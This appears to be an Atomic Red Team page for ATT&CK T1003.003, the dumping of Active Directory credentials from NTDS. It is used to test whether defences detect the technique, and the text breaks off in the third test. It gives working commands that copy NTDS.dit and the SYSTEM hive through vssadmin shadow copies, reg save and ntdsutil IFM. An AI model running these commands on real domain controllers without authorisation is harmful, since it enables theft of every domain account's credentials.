# T1003.003 - OS Credential Dumping: NTDS

## Description from ATT&CK

> Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)
> 
> In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
> 
> The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
> 
> * Volume Shadow Copy
> * secretsdump.py
> * Using the in-built Windows tool, ntdsutil.exe
> * Invoke-NinjaCopy

[Source](https://attack.mitre.org/techniques/T1003/003)

## Atomic Tests

- [Atomic Test #1: Create Volume Shadow Copy with vssadmin](#atomic-test-1-create-volume-shadow-copy-with-vssadmin)
- [Atomic Test #2: Copy NTDS.dit from Volume Shadow Copy](#atomic-test-2-copy-ntdsdit-from-volume-shadow-copy)
- [Atomic Test #3: Dump Active Directory Database with NTDSUtil](#atomic-test-3-dump-active-directory-database-with-ntdsutil)
- [Atomic Test #4: Create Volume Shadow Copy with WMI](#atomic-test-4-create-volume-shadow-copy-with-wmi)
- [Atomic Test #5: Create Volume Shadow Copy remotely with WMI](#atomic-test-5-create-volume-shadow-copy-remotely-with-wmi)
- [Atomic Test #6: Create Volume Shadow Copy remotely (WMI) with esentutl](#atomic-test-6-create-volume-shadow-copy-remotely-wmi-with-esentutl)
- [Atomic Test #7: Create Volume Shadow Copy with Powershell](#atomic-test-7-create-volume-shadow-copy-with-powershell)
- [Atomic Test #8: Create Symlink to Volume Shadow Copy](#atomic-test-8-create-symlink-to-volume-shadow-copy)
- [Atomic Test #9: Create Volume Shadow Copy with diskshadow](#atomic-test-9-create-volume-shadow-copy-with-diskshadow)
- [Atomic Test #10: Copy NTDS in low level NTFS acquisition via MFT parsing](#atomic-test-10-copy-ntds-in-low-level-ntfs-acquisition-via-mft-parsing)
- [Atomic Test #11: Copy NTDS in low level NTFS acquisition via fsutil](#atomic-test-11-copy-ntds-in-low-level-ntfs-acquisition-via-fsutil)

### Atomic Test #1: Create Volume Shadow Copy with vssadmin

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

**Supported Platforms:** Windows

**auto_generated_guid:** `dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| drive_letter | Drive letter to source VSC (including colon) | string | C:|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
vssadmin.exe create shadow /for=#{drive_letter}
```


#### Dependencies: Run with `command_prompt`!

##### Description: Target must be a Domain Controller

###### Check Prereq Commands

```cmd
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT
```

###### Get Prereq Commands

```cmd
echo Sorry, Promoting this machine to a Domain Controller must be done manually
```

### Atomic Test #2: Copy NTDS.dit from Volume Shadow Copy

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.

**Supported Platforms:** Windows

**auto_generated_guid:** `c6237146-9ea6-4711-85c9-c56d263a6b03`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| vsc_name | Name of Volume Shadow Copy | string | &#92;&#92;?&#92;GLOBALROOT&#92;Device&#92;HarddiskVolumeShadowCopy1|
| extract_path | Path for extracted NTDS.dit | path | C:&#92;Windows&#92;Temp|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
```

#### Cleanup Commands

```cmd
del "#{extract_path}\ntds.dit"        >nul 2> nul
del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}\SYSTEM_HIVE"     >nul 2> nul
```

#### Dependencies: Run with `command_prompt`!

##### Description: Target must be a Domain Controller

###### Check Prereq Commands

```cmd
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT
```

###### Get Prereq Commands

```cmd
echo Sorry, Promoting this machine to a Domain Controller must be done manually
```

##### Description: Volume shadow copy must exist

###### Check Prereq Commands

```cmd
if not exist #{vsc_name} (exit /b 1)
```

###### Get Prereq Commands

```cmd
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'" to fulfill this requirement
```

##### Description: Extract path must exist

###### Check Prereq Commands

```cmd
if not exist #{extract_path} (exit /b 1)
```

###### Get Prereq Commands

```cmd
mkdir #{extract_path}
```

### Atomic Test #3: Dump Active Directory Database with NTDSUtil

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.

**Supported Platforms:** Windows

**auto_generated_guid:** `2364e33d-ceab-4641-8468-bfb1d7cc2723`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_folder | Path where resulting dump should be placed | path | C:&#92;Windows&#92;Temp&#92;ntds_T1003|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
```

#### Cleanup Commands

```cmd
rmdir /q /s #{output_folder} >nul 2>&1
```

#### Dependencies: Run with `command_prompt`!

##### Description: Target must be a Domain Controller

###### Check Prereq Commands

```cmd
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT
```

###### Get Prereq Commands

```cmd
echo Sorry, Promoting this machine to a Domain Controller must be